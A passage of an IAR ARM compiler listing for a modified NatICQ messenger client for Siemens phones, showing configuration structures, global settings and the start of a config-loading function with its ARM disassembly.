############################################################################## # # # IAR ARM ANSI C/C++ Compiler V4.42A/W32 EVALUATION 07/Apr/2008 10:53:07 # # Copyright 1999-2005 IAR Systems. All rights reserved. # # # # Cpu mode = interwork # # Endian = little # # Stack alignment = 4 # # Source file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\main.c # # Command line = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\main.c -D # # NEWSGOLD -D ELKA -D UIN_WRITE -D kluchnik # # --preprocess D:\Pasha\elf\_MY_PROJECT_\naticq_mod\kl # # uchnik\List\ -lC D:\Pasha\elf\_MY_PROJECT_\naticq_mo # # d\kluchnik\List\ -o D:\Pasha\elf\_MY_PROJECT_\naticq # # _mod\kluchnik\Obj\ -s9 --no_unroll --cpu_mode arm # # --endian little --cpu ARM926EJ-S --stack_align 4 # # --interwork -e --fpu None --dlib_config # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\LIB\dl5tpainl8n.h" -I # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\INC\" --inline_threshold=2 # # List file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\kluchnik\List\m # # ain.lst # # Object file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\kluchnik\Obj\ma # # in.r79 # # # # # ############################################################################## D:\Pasha\elf\_MY_PROJECT_\naticq_mod\main.c 1 #include "../inc/swilib.h" 2 #include "../inc/cfg_items.h" 3 #include "../inc/pnglist.h" 4 #include "NatICQ.h" 5 #include "history.h" 6 #include "conf_loader.h" 7 #include "mainmenu.h" 8 #include "main.h" 9 #include "language.h" 10 #include "../inc/xtask_ipc.h" 11 #include "smiles.h" 12 #include "naticq_ipc.h" 13 #include "status_change.h" 14 #include "strings.h" 15 //#include "string_util_int.h" 16 #include "manage_cl.h" 17 #include "cl_work.h" 18 #include "select_smile.h" 19 #include "revision.h" 20 #include "print.h" 21 //#include "screen_save.h" 22 #ifdef NEWSGOLD 23 #include "player_tags.h" 24 #endif 25 #include "swilib2.h" 26 #include "rect_patcher.h" \ In segment CODE, align 4, keep-with-next \ __??Code32?? __code __interwork __atpcs void patch_header(HEADER_DESC const *) \ patch_header: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 \ 00000008 0000A0E3 MOV R0,#+0 \ 0000000C B000C4E1 STRH R0,[R4, #+0] \ 00000010 1800A0E3 MOV R0,#+24 \ 00000014 B200C4E1 STRH R0,[R4, #+2] \ 00000018 888100EF SWI +33160 \ 0000001C 010040E2 SUB R0,R0,#+1 \ 00000020 B400C4E1 STRH R0,[R4, #+4] \ 00000024 8A8100EF SWI +33162 \ 00000028 170080E2 ADD R0,R0,#+23 \ 0000002C B600C4E1 STRH R0,[R4, #+6] \ 00000030 1080BDE8 POP {R4,PC} ;; return 27 28 //Теперь конфиги делаются отдельно!!!!как в экстраинфо! прикладываю два проекта 1stconfig && 2ndconfig 29 //должны находится в папке с исходником натаси в своих папках!чтобы конфиг можно было удоьно редактировать 30 //если изменили какой то из конфигов,то так же нужно изменить структуры в таком же порядке, 31 //как зменили конфиг с темиже данными!и поправить функцию UpdateConfig(),и потом скомпилить отдельно эльфы 1stconfig && 2ndconfig, 32 //чтобы получить разные конфиги...по другому пока не знаю как сделать... 33 // by kluchnik 31.03.08 34 35 //--------------------------------------------------------------------// 36 // READ CONFIGS // 37 //--------------------------------------------------------------------// 38 39 //--------------------------------------------------------------------// 40 //------------------------ ORIGINAL CONFIG -------------------------// 41 //--------------------------------------------------------------------// 42 43 typedef struct 44 { 45 46 CFG_HDR cfghdr0; 47 unsigned int UIN; 48 49 CFG_HDR cfghdr1; 50 char PASS[9]; 51 52 //--------------- NETWORK SETTING -------------------// 53 54 CFG_HDR cfghdr2; 55 CFG_HDR cfghdr2_1; 56 char NATICQ_HOST[128]; 57 58 CFG_HDR cfghdr2_2; 59 unsigned int NATICQ_PORT; 60 61 CFG_HDR cfghdr2_3; 62 unsigned int RECONNECT_TIME; 63 64 CFG_HDR cfghdr2_4; 65 char HIST_PATH[64]; 66 67 CFG_HDR cfghdr2_5; 68 char SMILE_FILE[64]; 69 70 CFG_HDR cfghdr2_6; 71 char SMILE_PATH[64]; 72 73 CFG_HDR cfghdr2_7; 74 char ICON_PATH[64]; 75 76 CFG_HDR cfghdr2_8; 77 char XSTATUSES_PATH[64]; 78 79 CFG_HDR cfghdr2_9; 80 char TEMPLATES_PATH[64]; 81 CFG_HDR cfghdr3;//NETWORK SETTING 82 83 84 //------------------ INTERFACE ------------------// 85 86 CFG_HDR cfghdr4; 87 //Status icon on mainscreen position 88 CFG_HDR cfghdr4_1; 89 unsigned int IDLEICON_X; 90 unsigned int IDLEICON_Y; 91 92 //Popup chat 93 CFG_HDR cfghdr4_2; 94 int DEVELOP_IF; 95 CFG_CBOX_ITEM cfgcbox4_2[4]; 96 97 //Sorting 98 CFG_HDR cfghdr4_3; 99 int SORT_CLIST; 100 CFG_CBOX_ITEM cfgcbox4_3[2]; 101 102 //First letter when typing 103 CFG_HDR cfghdr4_4; 104 int FIRST_LETTER; 105 CFG_CBOX_ITEM cfgcbox4_4[2]; 106 107 108 //------------------ FONT AND COLOR ------------------// 109 110 111 CFG_HDR cfghdr4_5; 112 CFG_HDR cfghdr4_5_1; 113 unsigned int I_COLOR; 114 115 CFG_HDR cfghdr4_5_2; 116 unsigned int TO_COLOR; 117 118 CFG_HDR cfghdr4_5_3; 119 unsigned int X_COLOR; 120 121 CFG_HDR cfghdr4_5_4; 122 unsigned int ED_FONT_SIZE; 123 124 CFG_HDR cfghdr4_5_5; 125 unsigned int ED_H_FONT_SIZE; 126 127 CFG_HDR cfghdr4_5_6; 128 unsigned int ED_X_FONT_SIZE; 129 130 CFG_HDR cfghdr4_5_7; 131 unsigned int O_I_COLOR; 132 133 CFG_HDR cfghdr4_5_8; 134 unsigned int O_TO_COLOR; 135 136 CFG_HDR cfghdr4_5_9; 137 unsigned int O_X_COLOR; 138 139 CFG_HDR cfghdr4_5_10; 140 unsigned int O_ED_FONT_SIZE; 141 142 CFG_HDR cfghdr4_5_11; 143 unsigned int O_ED_H_FONT_SIZE; 144 145 CFG_HDR cfghdr4_5_12; 146 unsigned int O_ED_X_FONT_SIZE; 147 148 CFG_HDR cfghdr4_5_13; 149 unsigned int ACK_COLOR; 150 151 CFG_HDR cfghdr4_5_14; 152 unsigned int UNACK_COLOR; 153 154 //Color for background in select smail 155 CFG_HDR cfghdr19_1; 156 unsigned int color_choose; 157 158 CFG_HDR cfghdr4_6;//FONT & COLOR 159 160 //------------------ ILLUMINATION ------------------// 161 //Illumination by BoBa 19.04.2007 162 163 CFG_HDR cfghdr4_7; 164 CFG_HDR cfghdr4_7_1; 165 unsigned int ILL_DISP_RECV; 166 167 CFG_HDR cfghdr4_7_2; 168 unsigned int ILL_KEYS_RECV; 169 170 CFG_HDR cfghdr4_7_3; 171 unsigned int ILL_RECV_TMR; 172 173 CFG_HDR cfghdr4_7_4; 174 unsigned int ILL_RECV_FADE; 175 176 CFG_HDR cfghdr4_7_5; 177 unsigned int ILL_DISP_SEND; 178 179 CFG_HDR cfghdr4_7_6; 180 unsigned int ILL_KEYS_SEND; 181 182 CFG_HDR cfghdr4_7_7; 183 unsigned int ILL_SEND_TMR; 184 185 CFG_HDR cfghdr4_7_8; 186 unsigned int ILL_SEND_FADE; 187 188 CFG_HDR cfghdr4_7_9; 189 unsigned int ILL_OFF_FADE; 190 CFG_HDR cfghdr4_8; //ILLUMINATION 191 192 CFG_HDR cfghdr5;//INTERFACE 193 194 195 //------------------------------------------------------------------------------// 196 // HISTORY 197 //------------------------------------------------------------------------------// 198 199 //History 200 CFG_HDR cfghdr6; 201 202 CFG_HDR cfghdr6_8; 203 int SHOW_ACTIVE; 204 CFG_CBOX_ITEM cfgcbox6_8[2]; 205 //Enable history logging 206 CFG_HDR cfghdr6_1; 207 int LOG_ALL; 208 CFG_CBOX_ITEM cfgcbox6_1[2]; 209 210 //History type 211 CFG_HDR cfghdr6_2; 212 int HISTORY_TYPE; 213 CFG_CBOX_ITEM cfgcbox6_2[2]; 214 215 //Enable status logging 216 CFG_HDR cfghdr6_3; 217 int LOG_STATCH; 218 CFG_CBOX_ITEM cfgcbox6_3[2]; 219 220 //Enable X-status logging 221 CFG_HDR cfghdr6_4; 222 int LOG_XTXT; 223 CFG_CBOX_ITEM cfgcbox6_4[2]; 224 225 //Auto request X-status if entering to chat 226 CFG_HDR cfghdr6_5; 227 int ENA_AUTO_XTXT; 228 CFG_CBOX_ITEM cfgcbox6_5[2]; 229 230 //Don't log X-status, if it same as prevision 231 CFG_HDR cfghdr6_6; 232 int NOT_LOG_SAME_XTXT; 233 CFG_CBOX_ITEM cfgcbox6_6[2]; 234 235 //Buffer for fill from history 236 CFG_HDR cfghdr6_7; 237 int HISTORY_BUFFER; 238 CFG_CBOX_ITEM cfgcbox6_7[7]; 239 240 CFG_HDR cfghdr7;//HISTORY 241 242 //--------------------------------------------------// 243 // NOTYFY POWER // 244 //--------------------------------------------------// 245 246 CFG_HDR cfghdr8; 247 248 CFG_HDR cfghdr8_1; 249 unsigned int sndVolume; 250 251 CFG_HDR cfghdr8_2; 252 unsigned int vibraPower; 253 254 CFG_HDR cfghdr8_3; 255 int VIBR_TYPE; 256 CFG_CBOX_ITEM cfgcbox8_3[2]; 257 258 CFG_HDR cfghdr8_4; 259 int VIBR_ON_CONNECT; 260 CFG_CBOX_ITEM cfgcbox8_4[2]; 261 262 //------------------ SOUND SETUP ------------------// 263 CFG_HDR cfghdr8_5; 264 265 CFG_HDR cfghdr181; 266 unsigned int extended_sounds; 267 CFG_CBOX_ITEM cfgcbox18_3_2[2]; 268 269 CFG_HDR cfghdr8_5_1; 270 char sndStartup[64]; 271 272 CFG_HDR cfghdr8_5_2; 273 char sndSrvMsg[64]; 274 275 CFG_HDR cfghdr8_5_3; 276 char sndGlobal[64]; 277 278 CFG_HDR cfghdr8_5_4; 279 char sndMsg[64]; 280 281 CFG_HDR cfghdr8_5_5; 282 char sndMsgSent[64]; 283 284 CFG_HDR cfghdr15; 285 char sndGlobal2[64]; 286 287 CFG_HDR cfghdr161; 288 char sndMsg2[64]; 289 290 CFG_HDR cfghdr16r1; 291 char pingsnd[64]; 292 CFG_HDR cfghdr8_6;//SOUND SETUP 293 294 CFG_HDR cfghdr9;//NOTYFY POWER 295 }myConfig; 296 297 //----------------------------------------------------------------// 298 //------------------------ MOD CONFIG --------------------------// 299 //----------------------------------------------------------------// 300 301 typedef struct 302 { 303 CFG_HDR cfghdr0; 304 //----------- НАСТРОЙКА КЛАВИШ -----------// 305 //View settings 306 CFG_HDR cfghdr23_4; 307 /* 308 CFG_HDR cfghdr23_4_1;//={CFG_CBOX,"Показ. сообщ.при дл.нажатии",0,2}; 309 int isShowMsgLongPress;// = 1; 310 CFG_CBOX_ITEM cfgcbox23_4_2[2];//={"Нет","Да"}; 311 */ 312 //Long press right in chat 313 CFG_HDR cfghdr4_67; 314 int LongRightAction; 315 CFG_CBOX_ITEM cfgcbox4_56[3]; 316 317 //Long press right in chat 318 CFG_HDR cfghdr34_64; 319 int LongLeftAction ; 320 CFG_CBOX_ITEM cfgcbox444_56[2]; 321 322 //Action on # button in contact list 323 CFG_HDR cfghdr78_4520; 324 int ActionResh; 325 CFG_CBOX_ITEM cfgcbox_668_z[2]; 326 327 #ifdef ELKA 328 //Press vol up or vol down button in CL 329 CFG_HDR cfghdr34_642; 330 int isVolDownButton; 331 CFG_CBOX_ITEM cfgcbox434_56[2]; 332 333 CFG_HDR cfghdr34_6342; 334 int isVolUpButton; 335 CFG_CBOX_ITEM cfgcbox4134_56[2]; 336 #endif 337 CFG_HDR cfghdr223_5; //НАСТРОКА КЛАВИШ 338 339 340 //----------- STATUS SETTING -----------// 341 342 343 CFG_HDR cfghdr_45; 344 #ifdef ELKA 345 //Status icon on mainscreen position 346 CFG_HDR cfghdr467_1; 347 int ShowStatusIcon; 348 CFG_CBOX_ITEM cfgcbox9_1[5]; 349 #endif 350 #ifdef ELKA 351 //Show x-status on iconbar or mainscreen 352 CFG_HDR cfghdrz_68; 353 int show_xstatus; 354 CFG_CBOX_ITEM cfgcbox_8z[4]; 355 #else 356 CFG_HDR cfghdrz_68; 357 int show_xstatus; 358 CFG_CBOX_ITEM cfgcbox_8z[2]; 359 #endif 360 //Xstatus idle position 361 CFG_HDR cfghdrz_1; 362 unsigned int IDLEICON_XX; 363 unsigned int IDLEICON_YX; 364 365 #ifdef ELKA 366 //Number first pic status in folder img for show in iconbar 367 CFG_HDR cfghdr19_22; 368 unsigned int NumStatusToIconBar; 369 370 //Number first pic x-status in folder img for show in iconbar 371 CFG_HDR cfghdr19_242; 372 unsigned int NumXStatusToIconBar; 373 #endif 374 CFG_HDR cfghdr_4;//STATUS SETTINGS 375 376 377 //----------- PNGFONT SETTING -----------// 378 379 CFG_HDR cfghdr1_45; 380 381 //Nember png-font or system 382 CFG_HDR cfghdr65z; 383 unsigned int fonto; 384 385 //Path to png-font 386 CFG_HDR cfghdr98; 387 char fontpath[64]; 388 389 //Coordinates for message on idle 390 CFG_HDR cfghd83; 391 unsigned int msg_d_x ; 392 unsigned int msg_d_y ; 393 394 CFG_HDR cfghdr60_2; 395 char fontColor[4]; 396 397 CFG_HDR cfghdr60_3; 398 char bgrColor[4]; 399 400 //Max show symbol on idle 401 CFG_HDR cfghdr19a_1; 402 unsigned int main_lenght; 403 404 CFG_HDR cfghdr9z9; 405 int use_cutter; 406 CFG_CBOX_ITEM cfgcbox18a_4[2]; 407 408 CFG_HDR cfghdr65y; 409 unsigned int spaco1; 410 411 //__root const CFG_HDR cfghdr65u={CFG_UINT,"Main msg space",0,999999}; 412 //__root const unsigned int spaco2=0; 413 414 CFG_HDR cfghdrss_45;//PNGFONT SETTING 415 416 417 //-----------------------------------------------------------------------------// 418 // ONLINE TIME 419 //-----------------------------------------------------------------------------// 420 421 CFG_HDR cfghdr_m71; 422 423 CFG_HDR cfghdr699; 424 unsigned int onlineTime_x; 425 unsigned int onlineTime_y; 426 427 CFG_HDR cfghdr698; 428 int Pause_Time; 429 CFG_CBOX_ITEM cfgcbox85[2]; 430 431 CFG_HDR cfghdr_m70; 432 433 434 //-----------------------------------------------------------------------------// 435 // AUTO PING/UNREAD 436 //-----------------------------------------------------------------------------// 437 438 439 CFG_HDR cfghdr_m91; 440 441 CFG_HDR cfghd66; 442 unsigned int Ping_X ; 443 unsigned int Ping_Y ; 444 445 CFG_HDR cfghdr1z9a_1; 446 unsigned int ping_time_config ; 447 448 CFG_HDR cfghdr298; 449 int Is_Unread_On; 450 CFG_CBOX_ITEM cfgcbox86[2]; 451 452 CFG_HDR cfghd67; 453 unsigned int unread_X; 454 unsigned int unread_Y; 455 456 CFG_HDR cfghdr_m90; 457 458 459 //-----------------------------------------------------------------------------// 460 // AUTO STATUS // 461 //-----------------------------------------------------------------------------// 462 463 464 CFG_HDR cfghdr_m61; 465 466 CFG_HDR cfghdr668; 467 int Auto_Status; 468 CFG_CBOX_ITEM cfgcbox89[2]; 469 470 CFG_HDR cfghdr667; 471 unsigned int AUTO_ENGADE; 472 473 CFG_HDR cfghdr_13; 474 int time_zone; 475 CFG_CBOX_ITEM cfgcbox_13[33]; 476 477 CFG_HDR cfghdrzz_8; 478 char awayHelloMsg[24]; 479 480 CFG_HDR cfghdrzz_9; 481 char awayMsg[1024]; 482 483 CFG_HDR cfghdr66_2; 484 int Reset_timer; 485 CFG_CBOX_ITEM cfgcbox90[2]; 486 487 //Show away time on idle 488 CFG_HDR cfghdr663; 489 int showAwayIdle ; 490 CFG_CBOX_ITEM cfgcbox82[2]; 491 492 CFG_HDR cfghd6_7; 493 unsigned int auto_x; 494 unsigned int auto_y; 495 496 CFG_HDR cfghdr_m60; 497 498 //------------------------------------------------------------------------------// 499 // SCREEN SAVER // 500 //------------------------------------------------------------------------------// 501 502 CFG_HDR cfghdr_91;//={CFG_LEVEL,"Заставка",1,0}; 503 504 CFG_HDR cfghdr9_1;// = {CFG_CBOX,"Включить заставку",0,2}; 505 int isScreenSaverEna;// = 0; 506 CFG_CBOX_ITEM cfgcbox9_2[2];//={"No","Yes"}; 507 508 CFG_HDR cfghdr9_3;//={CFG_UINT,"Время до срабатывания(12=1мин)",0,10}; 509 unsigned int screenSaverTime;//=120; 510 CFG_HDR cfghdr_90;//={CFG_LEVEL,"",0,0}; 511 512 //------------------------------------------------------------------------------// 513 // EXTRA CONFIG // 514 //------------------------------------------------------------------------------// 515 516 517 CFG_HDR cfghdr_m51; 518 519 //Show contact header with... 520 CFG_HDR cfghdr467; 521 int TIME_OR_MSG; 522 CFG_CBOX_ITEM cfgcbox91[5]; 523 524 //Vibra count in vibra remaider 525 CFG_HDR cfghdr65; 526 unsigned int Vibra_cc; 527 528 //CSM for player 529 CFG_HDR cfghdr66; 530 char CsmAdr[9]; //el=A087B454 //es=A068E244 531 532 //Text before name track 533 CFG_HDR cfghdr67; 534 char playing[13]; 535 536 //Show command sending 537 CFG_HDR cfghdr780; 538 int show_send_info; 539 CFG_CBOX_ITEM cfgcbox8_z[2]; 540 541 //Show changr status contact 542 CFG_HDR cfghdr7_80; 543 int isLogStatusChange; 544 CFG_CBOX_ITEM cfgcbox8df_z[2]; 545 /* 546 //Show time offline contact 547 CFG_HDR cfghdr7_80; 548 int isLogOffline; 549 CFG_CBOX_ITEM cfgcbox8df_z[2]; 550 551 //Show time onlain contact 552 CFG_HDR cfghdr7_81; 553 int isLogOnline; 554 CFG_CBOX_ITEM cfgcbox9df_z[2]; 555 */ 556 //Show Loopback contact in CL 557 CFG_HDR cfghdr71_30; 558 int IsShowLoopback; 559 CFG_CBOX_ITEM cfgcbox_3z[2]; 560 561 CFG_HDR cfghdr_m50;//level 562 563 CFG_HDR cfghdr11_9;//level 564 char ignor_list[256]; 565 }myConfigMod; 566 567 568 //-----------------------------------------------------------------------------------// 569 // ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ // 570 //-----------------------------------------------------------------------------------// 571 unsigned int color_choose; 572 unsigned int Vibra_cc; 573 unsigned int Ping_X; 574 unsigned int Ping_Y; 575 unsigned int unread_X; 576 unsigned int unread_Y; 577 int show_xstatus; 578 char fontpath[64]; 579 #ifdef ELKA 580 int ShowStatusIcon; 581 #endif 582 //For log change status 583 int isLogStatusChange; 584 //int isLogOffline; 585 //int isLogOnline; 586 587 char CsmAdr[9]; 588 int SORT_CLIST; 589 #ifdef ELKA 590 //If action vol up && vol down button on elka 591 int isVolUpButton; 592 int isVolDownButton; 593 #endif 594 595 //Autoaway message 596 char awayHelloMsg[24];//hello msg 597 char awayMsg[1024];//message 598 599 int IsShowLoopback;//Show Loopback contact in CL 600 //For png font 601 unsigned int fonto; 602 unsigned int spaco1; 603 unsigned int spaco2; 604 //int spaco2=spaco1; 605 char fontColor[];//Цвет для системного шрифта 606 char bgrColor[]; 607 608 unsigned int AUTO_ENGADE; 609 int Is_Unread_On; 610 int Pause_Time; 611 unsigned int auto_x; 612 unsigned int auto_y; 613 int showAwayIdle; 614 615 //Online time on idle 616 unsigned int onlineTime_x; 617 unsigned int onlineTime_y; 618 619 int Auto_Status;//Включен автостатус или нет 620 int time_zone; 621 int TIME_OR_MSG; 622 623 unsigned int ping_time_config; 624 char ignor_list[256]; 625 626 unsigned int msg_d_x; 627 unsigned int msg_d_y; 628 unsigned int main_lenght; 629 int use_cutter; 630 631 char playing[13]; 632 int Reset_timer; 633 #ifdef ELKA 634 unsigned int NumStatusToIconBar; 635 unsigned int NumXStatusToIconBar; 636 #endif 637 int LongRightAction; 638 int LongLeftAction; 639 640 641 //Screen Saver setting 642 unsigned int screenSaverTime; 643 int isScreenSaverEna; 644 645 646 //int isShowMsgLongPress; 647 //------------ ORIGINAL SETTING -------------// 648 649 unsigned int UIN; 650 char PASS[9]; 651 652 int VIBR_ON_CONNECT; 653 int SHOW_ACTIVE; 654 int VIBR_TYPE; 655 int DEVELOP_IF; 656 657 int LOG_ALL; 658 int LOG_STATCH; 659 int FIRST_LETTER; 660 661 int show_send_info; 662 int ActionResh; 663 664 int HISTORY_TYPE; 665 unsigned int vibraPower; 666 667 unsigned int IDLEICON_X; 668 unsigned int IDLEICON_Y; 669 670 unsigned int IDLEICON_XX; 671 unsigned int IDLEICON_YX; 672 673 unsigned int I_COLOR; 674 unsigned int TO_COLOR; 675 unsigned int X_COLOR; 676 unsigned int O_I_COLOR; 677 unsigned int O_TO_COLOR; 678 unsigned int O_X_COLOR; 679 680 unsigned int ED_FONT_SIZE; 681 unsigned int ED_H_FONT_SIZE; 682 unsigned int ED_X_FONT_SIZE; 683 unsigned int O_ED_FONT_SIZE; 684 unsigned int O_ED_H_FONT_SIZE; 685 unsigned int O_ED_X_FONT_SIZE; 686 687 unsigned int ACK_COLOR; 688 unsigned int UNACK_COLOR; 689 690 int ENA_AUTO_XTXT; 691 int NOT_LOG_SAME_XTXT; 692 int LOG_XTXT; 693 int HISTORY_BUFFER; 694 695 //Illumination by BoBa 19.04.2007 696 /////////// 697 unsigned int ILL_DISP_RECV; 698 unsigned int ILL_KEYS_RECV; 699 unsigned int ILL_RECV_TMR; 700 unsigned int ILL_DISP_SEND; 701 unsigned int ILL_KEYS_SEND; 702 unsigned int ILL_SEND_TMR; 703 unsigned int ILL_SEND_FADE; 704 unsigned int ILL_RECV_FADE; 705 unsigned int ILL_OFF_FADE; 706 707 //=============================Проигрывание звука======================= 708 709 #ifdef NEWSGOLD 710 #define DEFAULT_DISK "4" 711 #else 712 #define DEFAULT_DISK "0" 713 #endif 714 715 char sndStartup[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\sndStartup.wav"; 716 char sndSrvMsg[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\sndSrvMsg.wav"; 717 char sndGlobal[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\sndGlobal.wav"; 718 char sndGlobal2[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\Uins_on\\"; 719 char sndMsg[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\sndMsg.wav"; 720 char sndMsg2[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\Uins_msg\\"; 721 char sndMsgSent[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\sndMsgSent.wav"; 722 char pingsnd[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\Sounds\\sndPing.wav"; 723 unsigned int extended_sounds; 724 unsigned int sndVolume; 725 726 //=============================================================== 727 728 //int VIBR_TYPE; 729 //unsigned int vibraPower; 730 731 char SMILE_FILE[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\smiles.cfg"; 732 char TEMPLATES_PATH[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\templates"; 733 char ICON_PATH[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\img"; 734 char SMILE_PATH[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\smiles"; 735 char XSTATUSES_PATH[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\ximg"; 736 char HIST_PATH[64];//=DEFAULT_DISK ":\\ZBin\\NatICQ\\history"; 737 char NATICQ_HOST[128];//="cbsie.dyndns.info; freegw.alltime.ru"; 738 unsigned int NATICQ_PORT;//=5050; 739 unsigned int RECONNECT_TIME; //2058 740 741 //-----------------------------------------------------------------------------------// 742 // -------------------------------- INIT CONFIGS -----------------------------------// 743 //-----------------------------------------------------------------------------------// 744 745 extern int janis; 746 char per_s[]="%s"; 747 748 #ifdef NEWSGOLD 749 int disk=4; 750 #else 751 int disk=0; 752 #endif 753 754 char suc_config_name[64]; 755 char suc_config_name_mod[64]; 756 \ In segment CODE, align 4, keep-with-next 757 void UpdateConfig() 758 { \ UpdateConfig: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 759 int myConfigSize = sizeof(myConfig); 760 myConfig* myConf = (myConfig*)malloc(myConfigSize); 761 int newCfgFile; 762 int myConfigModSize = sizeof(myConfigMod); 763 myConfigMod* myConfMod = (myConfigMod*)malloc(myConfigModSize); 764 int newCfgModFile;// = InitConfig(myConfMod, myConfigModSize, "NATICQMod",disk); 765 #ifdef kluchnik 766 newCfgFile= InitConfig(myConf, myConfigSize, "NATICQ_344720626",4); \ 00000004 D4759FE5 LDR R7,??UpdateConfig_0 ;; `?` \ 00000008 D860A0E3 MOV R6,#+216 \ 0000000C 546D86E3 ORR R6,R6,#0x1500 \ 00000010 0600A0E1 MOV R0,R6 \ 00000014 140000EF SWI +20 \ 00000018 0040A0E1 MOV R4,R0 \ 0000001C 680DA0E3 MOV R0,#+6656 \ 00000020 140000EF SWI +20 \ 00000024 0610A0E1 MOV R1,R6 767 newCfgModFile = InitConfig(myConfMod, myConfigModSize, "NATICQMod_344720626",4); 768 769 sprintf(suc_config_name,"4:\\zbin\\etc\\NATICQ_344720626.bcfg"); \ 00000028 ........ LDR R6,??DataTable19 ;; S_ICONS \ 0000002C 0050A0E1 MOV R5,R0 \ 00000030 0430A0E3 MOV R3,#+4 \ 00000034 742087E2 ADD R2,R7,#+116 \ 00000038 0400A0E1 MOV R0,R4 \ 0000003C ........ _BLF InitConfig,??InitConfig??rA \ 00000040 0080A0E1 MOV R8,R0 \ 00000044 0430A0E3 MOV R3,#+4 \ 00000048 602087E2 ADD R2,R7,#+96 \ 0000004C 681DA0E3 MOV R1,#+6656 \ 00000050 0500A0E1 MOV R0,R5 \ 00000054 ........ _BLF InitConfig,??InitConfig??rA \ 00000058 0090A0E1 MOV R9,R0 \ 0000005C 0710A0E1 MOV R1,R7 \ 00000060 AC00A0E3 MOV R0,#+172 \ 00000064 E00E80E3 ORR R0,R0,#0xE00 \ 00000068 060080E0 ADD R0,R0,R6 \ 0000006C 160000EF SWI +22 770 sprintf(suc_config_name_mod,"4:\\zbin\\etc\\NATICQMod_344720626.bcfg"); \ 00000070 381087E2 ADD R1,R7,#+56 \ 00000074 EC00A0E3 MOV R0,#+236 \ 00000078 E00E80E3 ORR R0,R0,#0xE00 \ 0000007C 060080E0 ADD R0,R0,R6 \ 00000080 160000EF SWI +22 771 #else 772 if((newCfgFile= InitConfig(myConf, myConfigSize, "NATICQ",4))!=-1) 773 { 774 sprintf(suc_config_name,"4:\\zbin\\etc\\NATICQ.bcfg"); 775 } 776 else 777 { 778 newCfgFile= InitConfig(myConf, myConfigSize, "NATICQ",0); 779 sprintf(suc_config_name,"0:\\zbin\\etc\\NATICQ.bcfg"); 780 } 781 782 if((newCfgModFile = InitConfig(myConfMod, myConfigModSize, "NATICQMod",4))!=-1) 783 { 784 sprintf(suc_config_name_mod,"4:\\zbin\\etc\\NATICQMod.bcfg"); 785 } 786 else 787 { 788 newCfgModFile = InitConfig(myConfMod, myConfigModSize, "NATICQMod",0); 789 sprintf(suc_config_name_mod,"0:\\zbin\\etc\\NATICQMod.bcfg"); 790 } 791 #endif 792 793 //--------------------------- 794 // MOD CONFIG 795 //--------------------------- 796 if(newCfgFile!=-1 && newCfgModFile!=-1)//Если конфиги есть \ 00000084 0000E0E3 MVN R0,#+0 \ 00000088 000058E1 CMP R8,R0 \ 0000008C 00005911 CMPNE R9,R0 \ 00000090 4A01000A BEQ ??UpdateConfig_1 \ 00000094 AC00A0E3 MOV R0,#+172 \ 00000098 4C0D80E3 ORR R0,R0,#0x1300 \ 0000009C 058080E0 ADD R8,R0,R5 \ 000000A0 640298E5 LDR R0,[R8, #+612] 797 { 798 //setting interface 799 TIME_OR_MSG=myConfMod->TIME_OR_MSG; 800 IsShowLoopback=myConfMod->IsShowLoopback;//Show Loopback contact in CL 801 //isShowMsgLongPress=myConfMod->isShowMsgLongPress; 802 803 804 //For online/offline log 805 // isLogOffline=myConfMod->isLogOffline; 806 // isLogOnline=myConfMod->isLogOnline; 807 isLogStatusChange=myConfMod->isLogStatusChange; 808 809 //setting png font 810 sprintf(fontpath,per_s,myConfMod->fontpath); \ 000000A4 2870A0E3 MOV R7,#+40 \ 000000A8 3C0186E5 STR R0,[R6, #+316] \ 000000AC B80498E5 LDR R0,[R8, #+1208] \ 000000B0 907E87E3 ORR R7,R7,#0x900 \ 000000B4 040186E5 STR R0,[R6, #+260] \ 000000B8 480498E5 LDR R0,[R8, #+1096] \ 000000BC 061087E0 ADD R1,R7,R6 \ 000000C0 F40086E5 STR R0,[R6, #+244] \ 000000C4 D80F47E2 SUB R0,R7,#+864 \ 000000C8 052080E0 ADD R2,R0,R5 \ 000000CC D90F80E2 ADD R0,R0,#+868 \ 000000D0 060080E0 ADD R0,R0,R6 \ 000000D4 160000EF SWI +22 811 fonto=myConfMod->fonto; \ 000000D8 849085E2 ADD R9,R5,#+132 \ 000000DC 140599E5 LDR R0,[R9, #+1300] \ 000000E0 080186E5 STR R0,[R6, #+264] 812 spaco1=myConfMod->spaco1; \ 000000E4 E40699E5 LDR R0,[R9, #+1764] \ 000000E8 0C0186E5 STR R0,[R6, #+268] 813 spaco2=myConfMod->spaco1;//так нада \ 000000EC E40699E5 LDR R0,[R9, #+1764] \ 000000F0 100186E5 STR R0,[R6, #+272] 814 //Цвет для системного шрифта 815 for(int i=0;i<4;i++) \ 000000F4 0000A0E3 MOV R0,#+0 816 { 817 fontColor[i]=myConfMod->fontColor[i]; \ ??UpdateConfig_2: \ 000000F8 052080E0 ADD R2,R0,R5 \ 000000FC 6826D2E5 LDRB R2,[R2, #+1640] \ 00000100 061080E0 ADD R1,R0,R6 \ 00000104 0424C1E5 STRB R2,[R1, #+1028] 818 bgrColor[i]=myConfMod->bgrColor[i]; \ 00000108 052080E0 ADD R2,R0,R5 \ 0000010C 9826D2E5 LDRB 